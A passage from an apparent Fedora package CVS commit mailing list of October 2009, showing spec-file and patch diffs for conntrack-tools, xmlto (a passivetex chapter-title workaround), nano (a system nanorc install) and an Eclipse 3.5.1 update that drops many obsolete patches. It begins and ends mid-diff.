 %{_sbindir}/conntrackd
 %{_mandir}/man8/*
 
 %changelog
+* Tue Oct 13 2009 Paul P. Komkoff Jr <i at stingr.net> - 0.9.13-1
+- new upstream version
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.12-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ovasik at fedoraproject.org  Tue Oct 13 12:21:52 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Tue, 13 Oct 2009 12:21:52 +0000 (UTC)
Subject: rpms/xmlto/devel xmlto-0.0.23-Lchapterpassivetex.patch, NONE,
	1.1 xmlto.spec, 1.52, 1.53
Message-ID: <20091013122152.47EEA11C00E8@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/xmlto/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17168

Modified Files:
	xmlto.spec 
Added Files:
	xmlto-0.0.23-Lchapterpassivetex.patch 
Log Message:
workaround passivetex limitation for chapter titles starting with L(#526273)

xmlto-0.0.23-Lchapterpassivetex.patch:
 dvi |    5 ++++-
 pdf |    5 ++++-
 ps  |    5 ++++-
 3 files changed, 12 insertions(+), 3 deletions(-)

--- NEW FILE xmlto-0.0.23-Lchapterpassivetex.patch ---
diff -urNp xmlto-0.0.23-orig/format/fo/dvi xmlto-0.0.23/format/fo/dvi
--- xmlto-0.0.23-orig/format/fo/dvi	2009-09-18 12:06:23.000000000 +0200
+++ xmlto-0.0.23/format/fo/dvi	2009-10-13 14:08:46.000000000 +0200
@@ -13,7 +13,10 @@ post-process)
   fi
   # Work around stupid tetex bug with '_' in filenames
   # Also work around stupid tetex limitation with long lines (bug #101055)
-  sed -e "s,/>,\n/>,g" "$XSLT_PROCESSED" >tmp.fo
+  # and workaround passivetex limitation for chapter titles starting with L
+  # (#526273)
+  sed -e "s,/>,/>\n,g" \
+      -e "s,block>,&\n,g" "$XSLT_PROCESSED" >tmp.fo
   OUT=output
   TEXINPUTS="$(dirname "$INPUT_FILE")::$SEARCHPATH"
   export TEXINPUTS
diff -urNp xmlto-0.0.23-orig/format/fo/pdf xmlto-0.0.23/format/fo/pdf
--- xmlto-0.0.23-orig/format/fo/pdf	2009-09-18 12:06:23.000000000 +0200
+++ xmlto-0.0.23/format/fo/pdf	2009-10-13 14:09:08.000000000 +0200
@@ -15,7 +15,10 @@ DEFAULT|DBLATEX)
 	  fi
 	  # Work around stupid tetex bug with '_' in filenames
 	  # Also work around stupid tetex limitation with long lines (bug #101055)
-	  sed -e "s,/>,\n/>,g" "$XSLT_PROCESSED" >tmp.fo
+    # and workaround passivetex limitation for chapter titles starting with L
+    # (#526273)
+	  sed -e "s,/>,/>\n,g" \
+        -e "s,block>,&\n,g" "$XSLT_PROCESSED" >tmp.fo
 	  OUT=output
 	  TEXINPUTS="$(dirname "$INPUT_FILE")::$SEARCHPATH"
 	  export TEXINPUTS
diff -urNp xmlto-0.0.23-orig/format/fo/ps xmlto-0.0.23/format/fo/ps
--- xmlto-0.0.23-orig/format/fo/ps	2009-03-17 17:39:52.000000000 +0100
+++ xmlto-0.0.23/format/fo/ps	2009-10-13 14:01:39.000000000 +0200
@@ -10,7 +10,10 @@ DEFAULT|DBLATEX)
 	  fi
 	  # Work around stupid tetex bug with '_' in filenames
 	  # Also work around stupid tetex limitation with long lines (bug #101055)
-	  sed -e "s,/>,\n/>,g" "$XSLT_PROCESSED" >tmp.fo
+    # and workaround passivetex limitation for chapter titles starting with L
+    # (#526273)
+	  sed -e "s,/>,/>\n,g" \
+        -e "s,block>,&\n,g" "$XSLT_PROCESSED" >tmp.fo
 	  OUT=output
 	  TEXINPUTS="$(dirname "$INPUT_FILE")::$SEARCHPATH"
 	  export TEXINPUTS


Index: xmlto.spec
===================================================================
RCS file: /cvs/extras/rpms/xmlto/devel/xmlto.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- xmlto.spec	24 Sep 2009 15:24:09 -0000	1.52
+++ xmlto.spec	13 Oct 2009 12:21:52 -0000	1.53
@@ -1,7 +1,7 @@
 Summary: A tool for converting XML files to various formats
 Name: xmlto
 Version: 0.0.23
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: Applications/System
 #Older versions up to xmlto-0.0.20
@@ -22,6 +22,7 @@ Requires: text-www-browser
 Requires: libxslt
 Requires: docbook-dtds
 Requires: util-linux, flex
+Patch1:   xmlto-0.0.23-Lchapterpassivetex.patch
 
 %description
 This is a package for converting XML files to various formats using XSL
@@ -58,6 +59,7 @@ xhtml1 source format.
 
 %prep
 %setup -q
+%patch1 -p1
 
 %build
 %configure BASH=/bin/bash
@@ -99,6 +101,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Ondrej Vasik <ovasik at redhat.com> - 0.0.23-3
+- workaround passivetex limitation for chapter titles starting
+  with L(#526273)
+
 * Fri Sep 24 2009 Ondrej Vasik <ovasik at redhat.com> - 0.0.23-2
 - ensure the default shell is /bin/bash instead of /bin/sh
 



From kdudka at fedoraproject.org  Tue Oct 13 12:27:43 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Tue, 13 Oct 2009 12:27:43 +0000 (UTC)
Subject: rpms/nano/devel nano.spec,1.31,1.32
Message-ID: <20091013122743.C24F311C00E8@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/nano/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18858

Modified Files:
	nano.spec 
Log Message:
- fix build failure of the last build


Index: nano.spec
===================================================================
RCS file: /cvs/extras/rpms/nano/devel/nano.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- nano.spec	13 Oct 2009 11:37:21 -0000	1.31
+++ nano.spec	13 Oct 2009 12:27:43 -0000	1.32
@@ -1,7 +1,7 @@
 Summary:         A small text editor
 Name:            nano
 Version:         2.0.9
-Release:         4%{?dist}
+Release:         5%{?dist}
 License:         GPLv2+
 Group:           Applications/Editors
 URL:             http://www.nano-editor.org
@@ -36,6 +36,8 @@ rm -f %{buildroot}%{_infodir}/dir
 mkdir -p ${RPM_BUILD_ROOT}%{_bindir}
 ln -s ../../bin/nano ${RPM_BUILD_ROOT}%{_bindir}/nano
 ln -s ../../bin/rnano ${RPM_BUILD_ROOT}%{_bindir}/rnano
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
+install -m 644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/nanorc
 
 %find_lang %{name}
 
@@ -70,6 +72,9 @@ rm -rf %{buildroot}
 %{_datadir}/nano
 
 %changelog
+* Tue Oct 13 2009 Kamil Dudka <kdudka at redhat.com> - 2.0.9-5
+- fix build failure of the last build
+
 * Tue Oct 13 2009 Kamil Dudka <kdudka at redhat.com> - 2.0.9-4
 - ship a system-wide configuration file along with the nano package
 - disable line wrapping by default (#528359)



From akurtakov at fedoraproject.org  Tue Oct 13 12:27:55 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 13 Oct 2009 12:27:55 +0000 (UTC)
Subject: rpms/eclipse/F-12 sources, 1.81, 1.82 .cvsignore, 1.62,
	1.63 eclipse.spec, 1.668, 1.669 eclipse-addusrsharedropins.patch,
	1.1, 1.2 eclipse-fix-javahome64.patch, 1.1,
	NONE ecf-filetransfer-build.properties, 1.1,
	NONE eclipse-help-toolbar.patch, 1.1, NONE eclipse-pdebuild.sh,
	1.13, NONE eclipse-addrootfiles.patch, 1.1,
	NONE eclipse-addfragmentsforotherplatforms.patch, 1.9,
	NONE eclipse-launcher-fix-java-home.patch, 1.1,
	NONE fetch-ecf.sh, 1.3,
	NONE eclipse-jdt_launch-customBuild.patch, 1.1,
	NONE eclipse-swt-xulrunner191.patch, 1.1,
	NONE eclipse-dontpackicu4jsource.patch, 1.1,
	NONE eclipse-pde.build-add-package-build.patch, 1.13,
	NONE eclipse-copy-platform.sh, 1.9,
	NONE eclipse-compilelibs.patch, 1.4,
	NONE eclipse-config.ini.director, 1.2,
	NONE eclipse-ia64-packaging.patch, 1.2,
	NONE eclipse-osgi-classpath.patch, 1.2,
	NONE eclipse-platform_build.patch, 1.2,
	NONE ecf-filetransfer-feature.xml, 1.3,
	NONE eclipse-swt-buildagainstxulrunner.patch, 1.2,
	NONE eclipse-ecf-qualifier.patch, 1.1,
	NONE eclipse-nojarsignatures.patch, 1.3, NONE eclipse.desktop,
	1.4, NONE eclipse-buildswtnatives.patch, 1.3,
	NONE eclipse-memorypermsizeandjvmcrash.patch, 1.6, NONE
Message-ID: <20091013122755.1F18211C00E8@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18949/F-12

Modified Files:
	sources .cvsignore eclipse.spec 
	eclipse-addusrsharedropins.patch 
Removed Files:
	eclipse-fix-javahome64.patch ecf-filetransfer-build.properties 
	eclipse-help-toolbar.patch eclipse-pdebuild.sh 
	eclipse-addrootfiles.patch 
	eclipse-addfragmentsforotherplatforms.patch 
	eclipse-launcher-fix-java-home.patch fetch-ecf.sh 
	eclipse-jdt_launch-customBuild.patch 
	eclipse-swt-xulrunner191.patch 
	eclipse-dontpackicu4jsource.patch 
	eclipse-pde.build-add-package-build.patch 
	eclipse-copy-platform.sh eclipse-compilelibs.patch 
	eclipse-config.ini.director eclipse-ia64-packaging.patch 
	eclipse-osgi-classpath.patch eclipse-platform_build.patch 
	ecf-filetransfer-feature.xml 
	eclipse-swt-buildagainstxulrunner.patch 
	eclipse-ecf-qualifier.patch eclipse-nojarsignatures.patch 
	eclipse.desktop eclipse-buildswtnatives.patch 
	eclipse-memorypermsizeandjvmcrash.patch 
Log Message:
- Update to 3.5.1.
- Fixes crash issue with gtk 2.18.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/F-12/sources,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- sources	21 Sep 2009 08:42:18 -0000	1.81
+++ sources	13 Oct 2009 12:27:54 -0000	1.82
@@ -1,3 +1,2 @@
-72a590190a4fea7a4f8885bfe26a3e18  eclipse-I20090611-1540-fetched-src.tar.bz2
-a3504fedff088a6e58a39d43fff4d47e  eclipse-build-R0_3_0.tar.gz
-d9b5bdc848ded1c2f1f62da94b9c70a0  ecf-filetransfer-v20090604-1131.tar.bz2
+3ed7a1c9c13a73f6d7abc0b0305631e3  eclipse-R3_5_1-fetched-src.tar.bz2
+4b283c975b7c7b2894ef4de040f6b9c4  eclipse-build-0.4.0RC0.tar.gz


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/F-12/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	18 Sep 2009 13:41:44 -0000	1.62
+++ .cvsignore	13 Oct 2009 12:27:54 -0000	1.63
@@ -3,3 +3,5 @@ eclipse-ecj-gcj.tar.bz2
 eclipse-I20090611-1540-fetched-src.tar.bz2
 eclipse-build-R0_3_0.tar.gz
 ecf-filetransfer-v20090604-1131.tar.bz2
+eclipse-R3_5_1-fetched-src.tar.bz2
+eclipse-build-0.4.0RC0.tar.gz


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/F-12/eclipse.spec,v
retrieving revision 1.668
retrieving revision 1.669
diff -u -p -r1.668 -r1.669
--- eclipse.spec	23 Sep 2009 19:53:01 -0000	1.668
+++ eclipse.spec	13 Oct 2009 12:27:54 -0000	1.669
@@ -9,8 +9,7 @@ Epoch:  1
 %define eclipse_major   3
 %define eclipse_minor   5
 %define eclipse_majmin  %{eclipse_major}.%{eclipse_minor}
-%define eclipse_micro   0
-%define swtver          3.5.0.v3550
+%define eclipse_micro   1
 %define initialize      1
 %global download_url    http://download.eclipse.org/technology/linuxtools/eclipse-build/
 
@@ -30,116 +29,28 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        2%{?dist}
+Release:        1%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
-Source0:        %{download_url}eclipse-build-R0_3_0.tar.gz
-Source1:        %{download_url}eclipse-I20090611-1540-fetched-src.tar.bz2
-Source2:        %{name}.desktop
-Source16:       %{name}-copy-platform.sh
+Source0:        %{download_url}eclipse-build-0.4.0RC0.tar.gz
+Source1:        %{download_url}eclipse-R3_5_1-fetched-src.tar.bz2
 Source17:       efj.sh.in
 # This file contains the types of files we'd like to extract from the jars
 # when using the FileInitializer
 Source19:       %{name}-filenamepatterns.txt
-# Script to wrap PDE Build calls for bundle builds
-Source21:       %{name}-pdebuild.sh
-# config.ini to run the director for provisioning the installation
-Source22:       %{name}-config.ini.director
-Source24:       fetch-ecf.sh
-# This was fetched using the above script.
-# We will eventually have an eclipse-ecf package but since the ECF
-# filetransfer bits that are part of the SDK actually require the SDK >=
-# 3.4 to build, I'm going to build them here and have them be owned by
-# the SDK packages for now. -- overholt, 2008-07-07
-Source25:       ecf-filetransfer-v20090604-1131.tar.bz2
-# Create a simple feature for building ECF's filetransfer plugins
-Source26:       ecf-filetransfer-feature.xml
-Source27:       ecf-filetransfer-build.properties
 # This script copies the platform sub-set of the SDK for generating metadata
 Source28:       %{name}-mv-Platform.sh
 
-# Build swttools.jar before generation on 64-bit platforms.
-# Build SWT native libraries
-# https://bugs.eclipse.org/bugs/show_bug.cgi?id=90364
-# https://bugs.eclipse.org/bugs/show_bug.cgi?id=221908
-# https://bugs.eclipse.org/bugs/attachment.cgi?id=105593
-Patch4:         %{name}-buildswtnatives.patch
-Patch32:        %{name}-compilelibs.patch
-
-# This does two things:
-# 1. allows the launcher to be in /usr/bin and
-# 2. ensures that the OSGi configuration directory
-#    (which contains the JNI .sos) is in %{_libdir}
-# We should investigate whether or not this can go upstream
-#Patch12:        %{name}-launcher-set-install-dir-and-shared-config.patch
-# generic releng plugins that can be used to build plugins
-# see this thread for details:
-# https://www.redhat.com/archives/fedora-devel-java-list/2006-April/msg00048.html
-Patch15:        %{name}-pde.build-add-package-build.patch
-Patch24:        %{name}-add-ppc64-sparc64-s390-s390x.patch
-Patch28:        %{name}-add-ppc64-sparc64-s390-s390x-2.patch
-Patch30:        %{name}-addfragmentsforotherplatforms.patch
-Patch38:        %{name}-addrootfiles.patch
-#FIXME: file a bug upstream
-Patch26:        %{name}-launcher-fix-java-home.patch
-# Default max heap size too low for lots of people.  Bump to 512 MB.
-# Max perm size:
-# https://bugzilla.redhat.com/show_bug.cgi?id=352361
-# JVM crash:
-# http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6614100
-# https://bugs.eclipse.org/bugs/show_bug.cgi?id=214092
-# https://bugzilla.redhat.com/show_bug.cgi?id=461860 (mnowak)
-Patch29:        %{name}-memorypermsizeandjvmcrash.patch
-
-Patch31:	%{name}-ia64-packaging.patch
-
-# Make ECF bundles have the same qualifier as they do upstream
-Patch35:	%{name}-ecf-qualifier.patch
-
-# Don't pack the icu4j source bundle.  Can go away when we re-build
-# icu4j against a 3.4 SDK.
-Patch36:	%{name}-dontpackicu4jsource.patch
-
-# Our dependent JARs have different signatures than the ones included
-# upstream so remove the signatures in the manifests
-Patch37:	%{name}-nojarsignatures.patch
-
-## Back-port patches from 3.4.x stream.  These will be in 3.4.1.
-## https://bugs.eclipse.org/bugs/show_bug.cgi?id=242632
-#Patch39:        %{name}-profilesync-e.o242632.patch
-#Patch40:        %{name}-profilesync-e.o242632-2.patch
-
-Patch43:		%{name}-osgi-classpath.patch
-Patch44:		%{name}-fix-javahome64.patch
-
-# TODO fix customBuildCallback
-Patch47:        %{name}-jdt_launch-customBuild.patch
-
-# Since we're building against XULRunner, build using XR flags
-# https://bugs.eclipse.org/226356
-# https://bugs.eclipse.org/bugs/attachment.cgi?id=131059
-# At present, libxul.pc contains -lxpcomglue_s.  Chris Aillon and myself think
-# it should perhaps be -lxpcomglue.  This patch uses that instead but will
-# be replaced with the former when libxul.pc is fixed.
-# https://bugs.eclipse.org/bugs/attachment.cgi?id=131060
-Patch48:        %{name}-swt-buildagainstxulrunner.patch
+Patch0:        %{name}-add-ppc64-sparc64-s390-s390x.patch
+Patch1:        %{name}-add-ppc64-sparc64-s390-s390x-2.patch
 
-Patch49:        %{name}-add-ppc64-filesystem.patch
+Patch2:        %{name}-add-ppc64-filesystem.patch
 
 # Make sure the shipped target platform templates are looking in the
 # correct location for source bundles (see RHBZ # 521969). This does not
 # need to go upstream.
-Patch50:        %{name}-target-platform-template.patch
-
-# Add /usr/share/eclipse/dropins to list of dropins locations
-# Already applied in eclipse-build upstream rev. #23023
-Patch51:        %{name}-addusrsharedropins.patch
-
-#Fix for help toolbar jsp compile error.
-#See https://bugs.eclipse.org/bugs/show_bug.cgi?id=290064
-#Already added to eclipse-build.
-Patch52:        %{name}-help-toolbar.patch
+Patch3:        %{name}-target-platform-template.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  ant
@@ -210,9 +121,6 @@ SWT Library for GTK+-2.0.
 Summary:        Eclipse Rich Client Platform
 Group:          Development/Languages
 Requires:       %{name}-swt = %{epoch}:%{version}-%{release}
-# FIXME:  investigate.  Can we just add a %{arch} to the above?
-## This file-level requirement is for the bi-arch multilib case
-#Requires: %{_libdir}/%{name}/plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}_%{swtver}.jar
 Requires:       icu4j-eclipse >= 1:4.0.1-3
 Requires:       java >= 1.6.0
 
@@ -223,9 +131,6 @@ Eclipse Rich Client Platform
 Summary:        Eclipse platform common files
 Group:          Text Editors/Integrated Development Environments (IDE)
 Requires:   %{name}-rcp = %{epoch}:%{version}-%{release}
-# FIXME:  investigate.  Can we just add a %{arch} to the above?
-## This file-level requirement is for the bi-arch multilib case
-#Requires: %{_libdir}/%{name}/plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}_%{swtver}.jar
 Requires: ant-antlr ant-apache-bcel ant-apache-log4j ant-apache-oro ant-apache-regexp ant-apache-resolver ant-commons-logging ant-apache-bsf ant-commons-net
 Requires: ant-javamail ant-jdepend ant-junit ant-nodeps ant-swing ant-trax ant-jsch
 Requires: jakarta-commons-beanutils jakarta-commons-collections jakarta-commons-digester jakarta-commons-dbcp jakarta-commons-fileupload jakarta-commons-launcher jakarta-commons-modeler jakarta-commons-pool
@@ -266,8 +171,8 @@ developing software written in the Java 
 %package        pde
 Summary:        Eclipse Plugin Development Environment
 Group:          Text Editors/Integrated Development Environments (IDE)
-Provides:	eclipse
-Provides:	eclipse-sdk
+Provides:   eclipse
+Provides:   eclipse-sdk
 Requires:       %{name}-platform = %{epoch}:%{version}-%{release}
 Requires:       %{name}-jdt = %{epoch}:%{version}-%{release}
 Requires:       objectweb-asm
@@ -284,38 +189,10 @@ Eclipse Plugin Development Environment. 
 developing Eclipse plugins.
 
 %prep
-%setup -q -n eclipse-build-R0_3_0
+%setup -q -n eclipse-build-0.4.0RC0
 cp %{SOURCE1} .
-sed --in-place "s/<target name=\"build\" depends=\"applyPatches,bootstrap,compilelibs\">/<target name=\"build\" depends=\"bootstrap,compilelibs\">/" build.xml
-ant -DbuildId=I20090611-1540 applyPatches
-pushd build/eclipse-I20090611-1540-fetched-src
-
-# Add /usr/share/eclipse/dropins
-%patch51 -p3
-
-#sed --in-place "s/java5.home/java.home/" build.xml
-#sed --in-place "s|JavaSE-1.6=|JavaSE-1.6=%{java_home}|" build.xml
-# Build swttools.jar and native libraries
-#%patch4 -p0
-#%patch32 -p0
-
-# liblocalfile fixes
-sed --in-place "s/JAVA_HOME =/#JAVA_HOME =/" plugins/org.eclipse.core.filesystem/natives/unix/linux/Makefile
-sed --in-place "s/OPT_FLAGS=-O/OPT_FLAGS=-O2 -g/" plugins/org.eclipse.core.filesystem/natives/unix/linux/Makefile
-
-# launcher patches
-rm plugins/org.eclipse.platform/launchersrc.zip
-pushd features/org.eclipse.equinox.executable
-#%patch12 -p0
-%patch26 -p0
-# FIXME:  deal with this
-## put the configuration directory in an arch-specific location
-#sed --in-place "s:/usr/lib/eclipse/configuration:%{_libdir}/%{name}/configuration:" library/eclipse.c
-## make the eclipse binary relocatable
-#sed --in-place "s:/usr/share/eclipse:%{_datadir}/%{name}:" library/eclipse.c
-zip -q -9 -r ../../plugins/org.eclipse.platform/launchersrc.zip library
-popd
-#-e "s|-breakiterator|;../org.eclipse.equinox.util/@dot\n;../org.eclipse.ecf_3.0.0.v20090302-0803.jar\n-breakiterator|" \
+ant applyPatches
+pushd build/eclipse-R3_5_1-fetched-src
 
 # Use our system-installed javadocs, reference only what we built, and
 # don't like to osgi.org docs (FIXME:  maybe we should package them?)
@@ -332,36 +209,10 @@ sed -i -e "s|http://java.sun.com/j2se/1.
    plugins/org.eclipse.pde.doc.user/pdeOptions.txt \
    plugins/org.eclipse.pde.doc.user/pdeOptions.txt
 
-pushd plugins/org.eclipse.pde.build
-%patch15
-sed --in-place "s:/usr/share/eclipse:%{_libdir}/%{name}:" templates/package-build/build.properties
-popd
-
-# TODO check whether it is needed
-#%patch36
-# TODO rebase
-#%patch37
-
-#pushd plugins/org.eclipse.equinox.p2.reconciler.dropins
-#%patch39
-#popd
-#
-#pushd plugins/org.eclipse.equinox.p2.touchpoint.eclipse
-#%patch40
-#popd
-
-#pushd "plugins/org.eclipse.swt/Eclipse SWT PI/gtk/library"
-#%patch45 -p3
-#popd
-
 # Remove signatures for JARs
 find -iname \*.sf | xargs rm
 find -iname \*.rsa | xargs rm
 
-# all output should be directed to stdout
-# https://bugs.eclipse.org/bugs/show_bug.cgi?id=144942
-find -type f -name \*.xml -exec sed --in-place -r "s/output=\".*(txt|log).*\"//g" "{}" \;
-
 # Remove existing .sos and binary launcher
 find -name \*.so | xargs rm
 find features/org.eclipse.equinox.executable -type f -name eclipse | xargs rm
@@ -380,13 +231,10 @@ sed --in-place "s|$swt_frag_ver_s390x|$s
 
 # Nasty hack to get suppport for ppc64, sparc{,64} and alpha
 %ifarch ppc64
-%patch24 -p1
-%patch28
-%patch49
+%patch0 -p1
+%patch1
+%patch2
 %endif
-#%patch30
-%patch31 -p1
-%patch38
 
 # Copy all of the s390x directories and files to ppc64 or sparc{,64} or alpha dirs and replace
 # the s390x strings with ppc64, etc.
@@ -398,7 +246,7 @@ sed --in-place "s|$swt_frag_ver_s390x|$s
     tofile=$(echo $f | sed "s/s390x/%{_arch}/")
     cp -rp $f $tofile
     for g in $(find $tofile -type f); do
-	sed -i "s/s390x/%{_arch}/g" $g
+    sed -i "s/s390x/%{_arch}/g" $g
     done
   done
   mv buildConfigs/eclipse-build-config/build.properties buildConfigs/eclipse-build-config/build.properties.java
@@ -460,22 +308,6 @@ IFS='
 
 %endif
 
-arches=$(grep "antfile=\"build.xml\" dir=\".*gtk\.linux\.*" \
-  features/org.eclipse.rcp/build.xml | awk '{ print $3 }' | awk -F . \
-  '{ print $NF }' | sort -u | tr -d '"' | tr "\n" " ")
-
-arches=$(echo $arches | sed s/%{eclipse_arch}//)
-
-# Don't build for arches other than the one on which we're building
-pushd features
-for f in */build.xml; do
-    for arch in $arches; do
-      sed -i "/<ant antfile=\"build.xml\" dir=.*$arch\" target=\"/,/<\/ant>/ d" $f
-      sed -i "/idReplacer/ s/org.eclipse\.\([a-z0-9A-Z_]\+\.\)\+$arch:0.0.0,[0-9I\.vf\-]\+,//g" $f
-    done
-done
-popd
-
 # Symlinks
 rm plugins/org.sat4j*
 ln -s %{_javadir}/org.sat4j.core* plugins/org.sat4j.core_2.1.0.v20090520.jar
@@ -519,11 +351,11 @@ ln -s %{_javadir}/ant/ant-trax.jar $ANTD
 
 JETTYPLUGINVERSION=$(ls plugins | grep org.mortbay.jetty.server_6 | sed 's/org.mortbay.jetty.server_//')
 rm plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
-ln -s %{_javadir}/jetty/jetty-6.1.20.jar plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
+ln -s %{_javadir}/jetty/jetty.jar plugins/org.mortbay.jetty.server_$JETTYPLUGINVERSION
 
 JETTYUTILVERSION=$(ls plugins | grep org.mortbay.jetty.util_6 | sed 's/org.mortbay.jetty.util_//')
 rm plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
-ln -s %{_javadir}/jetty/jetty-util-6.1.20.jar plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
+ln -s %{_javadir}/jetty/jetty-util.jar plugins/org.mortbay.jetty.util_$JETTYUTILVERSION
 
 JUNITVERSION=$(ls plugins | grep org.junit_3 | sed 's/org.junit_//')
 build-jar-repository -s -p plugins/org.junit_$JUNITVERSION junit
@@ -620,11 +452,6 @@ rm plugins/org.eclipse.swt/extra_jars/ex
    plugins/org.eclipse.osgi/osgi/osgi.cmpn.jar \
    plugins/org.eclipse.osgi/osgi/osgi.core.jar
 
-# FIXME:  figure out a way to symlink to something.  Alternatively,
-# patch out of package.org.eclipse.sdk*.xml.
-# Delete unnecessary-for-build source JARs
-#rm plugins/*.source_*.jar
-
 # make sure there are no jars left
 JARS=""
 for j in $(find -name \*.jar); do
@@ -637,84 +464,30 @@ if [ ! -z "$JARS" ]; then
    #FIXME: enable  exit 1
 fi
 
-# ECF filetransfer plugins
-tar jxf %{SOURCE25}
-pushd org.eclipse.ecf
-mkdir -p features/org.eclipse.ecf.filetransfer-feature
-pushd features/org.eclipse.ecf.filetransfer-feature
-cp -p %{SOURCE26} feature.xml
-cp -p %{SOURCE27} build.properties
-popd
-popd
-
-%patch43
-%patch44
-%patch47
-
-#pushd "plugins/org.eclipse.swt/Eclipse SWT PI/gtk/library"
-#%patch48 -p3
-#popd
-
 # target platform template patch
-%patch50 -p0
-%patch52 -p0
-
+%patch3 -p0
 popd
 
 %build
-ORIGCLASSPATH=$CLASSPATH
 export JAVA_HOME=%{java_home}
 ./build.sh
 
-SDK=$(cd build/eclipse-I20090611-1540-fetched-src/installation && pwd)
-LAUNCHERVERSION=$(ls $SDK/plugins | grep equinox.launcher_ | sed 's/org.eclipse.equinox.launcher_//')
-PDEPLUGINVERSION=$(ls $SDK/plugins | grep pde.build_ | sed 's/org.eclipse.pde.build_//')
-pushd build/eclipse-I20090611-1540-fetched-src/plugins/org.eclipse.equinox.initializer
-java -cp $SDK/plugins/org.eclipse.equinox.launcher_$LAUNCHERVERSION \
-      org.eclipse.core.launcher.Main \
-     -application org.eclipse.ant.core.antRunner       \
-     -f build.xml build.update.jar
-cp org.eclipse.equinox.initializer*.jar $SDK/plugins
-popd
-
-#
-# Build the ECF filetransfer plugins
-pushd build/eclipse-I20090611-1540-fetched-src/org.eclipse.ecf
-mkdir -p build
-homedir=$(mkdir home| cd home|pwd)
-java -cp $SDK/plugins/org.eclipse.equinox.launcher_$LAUNCHERVERSION \
-     -Duser.home=$homedir                              \
-      org.eclipse.core.launcher.Main \
-     -application org.eclipse.ant.core.antRunner       \
-     -Dtype=feature                                    \
-     -Did=org.eclipse.ecf.filetransfer_feature                   \
-     -DsourceDirectory=$(pwd)                          \
-     -DbaseLocation=$SDK \
-     -DforceContextQualifier=v20090604-1131 \
-     -Dbuilder=$SDK/plugins/org.eclipse.pde.build_$PDEPLUGINVERSION/templates/package-build  \
-     -debug -consolelog \
-     -f $SDK/plugins/org.eclipse.pde.build_$PDEPLUGINVERSION/scripts/build.xml
-
-popd
-
 %install
 rm -rf $RPM_BUILD_ROOT
 # Get swt version
-SWT_MAJ_VER=$(grep maj_ver build/eclipse-I20090611-1540-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
-SWT_MIN_VER=$(grep min_ver build/eclipse-I20090611-1540-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
+SWT_MAJ_VER=$(grep maj_ver build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
+SWT_MIN_VER=$(grep min_ver build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
 SWT_VERSION=$SWT_MAJ_VER$SWT_MIN_VER
 
+ant -DdestDir=$RPM_BUILD_ROOT -Dprefix=/usr -DbuildArch=%{eclipse_arch} -Dmultilib=true install
+
+cp $RPM_BUILD_ROOT%{_libdir}/eclipse/eclipse.ini eclipse.ini-real
 # Some directories we need
 sdkDir=$RPM_BUILD_ROOT%{_libdir}/%{name}
-install -d -m 755 $sdkDir
-install -d -m 755 $sdkDir/plugins
-install -d -m 755 $sdkDir/features
 # FIXME:  We can probably get rid of the links directory (for the
 # datadir.link file) when we ensure all plugins are installing into
 # dropins (either in libdir or datadir).
 install -d -m 755 $RPM_BUILD_ROOT%{_libdir}/java
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/%{name}
-install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/%{name}/dropins
 
 # FIXME:  Please don't install stuff to these directories.  They're only
 # still here for legacy plugins (which probably won't function in 3.4).
@@ -722,16 +495,7 @@ install -d -m 755 $RPM_BUILD_ROOT%{_data
 install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/%{name}/features
 install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/%{name}/plugins
 
-# Explode the resulting SDK tarball
-cp -R build/eclipse-I20090611-1540-fetched-src/installation/* $RPM_BUILD_ROOT%{_libdir}/eclipse
